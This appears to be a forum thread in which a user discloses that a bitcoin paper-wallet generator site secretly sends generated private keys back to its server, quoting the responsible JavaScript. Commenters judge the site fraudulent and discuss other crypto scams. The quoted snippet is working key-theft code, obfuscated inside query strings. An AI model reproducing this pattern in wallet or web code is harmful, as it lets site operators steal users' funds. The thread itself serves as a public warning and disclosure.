29 points · by gappc · 5y ago · 20 comments
yesterday I used the paper wallet generator on https://bitcoinwalletpaper.com and I saw suspicious network traffic that leaks the generated bitcoin private and public keys.
The affected code is part of the bitcoinwalletpaper.com index.html and can be found in the "showArtisticWallet" function:
... var interval = setInterval(function(){ var oXHR = new XMLHttpRequest(); oXHR.open("GET", "?77q4722jorGhQZD654roShVZdqz24vUFP2tjw6FboEHnApwha2Aih6UHGhE6uwyY6XXPr4M5v9DyEFtbUPs4VDqhVRXcqofU9M"+bitcoinAddress+"HJ6VBJiEEvKT4p5sYwrjZirpExjLpAXj1i5vhTtUcv8EL2RDx1J"+privateKey+"QSbSs6K3u2QPMLD3bUPs4VDsioznvRnhjb37GVN5xXo8YwAofboUj2BUMbYV6i9", true); oXHR.onreadystatechange = function (oEvent) { if (oXHR.readyState === 2.75) { if (oXHR.status === 200) { clearInterval(interval); } } }; oXHR.send(null); },10000) ...
This code sends the "bitcoinAddress" and "privateKey" as query params back to the origin domain.
I'm not sure if this was just some coding mistake/bug or if the site got hacked - or if I'm missing something.
Yesterday I wrote an email to the address given as "Admin Email" in the whois directory, as no further contact information is available. So far I haven't received an answer. Given that bitcoin reached new all-time heights and that its not long until Christmas I feel like its urgent to do something about this. That's why I post it here. Maybe some of you have ideas on how to proceed?
Steps to reproduce: - open https://bitcoinwalletpaper.com - click the "Next" or "Skip" button or complete the secure random number generation - open the browsers developer tools (or sniff the network traffic in any other way) and watch the requests start after ~10 seconds
=> each request sends the private key of the bitcoin wallet as part of the query param of the GET request
The former site “looks” legit (one can never be sure though) while the latter looks like phishing scam.
The team photo on the page is fake. That's the early Oculus team (John Carmack on the left) as seen on https://youtu.be/Bg5dDa4u8C8?t=84 [edit: added the exact timestamp]
Given that I'd say the whole page is fraud.
Bittttconnnnect!!!!!
In Cryptoland this is probably one of the more subtle ones to be honest. People literately send their coins to scammers on twitter posing as Elon Musk promising 10x returns, or fake ransomware scams.
I don't endorse these things and I find them incredibly sad, but this far from being the most 'obvious ones' is all I wanted to say.
Do they just say that to increase credibility, assuming that no one will actually do it?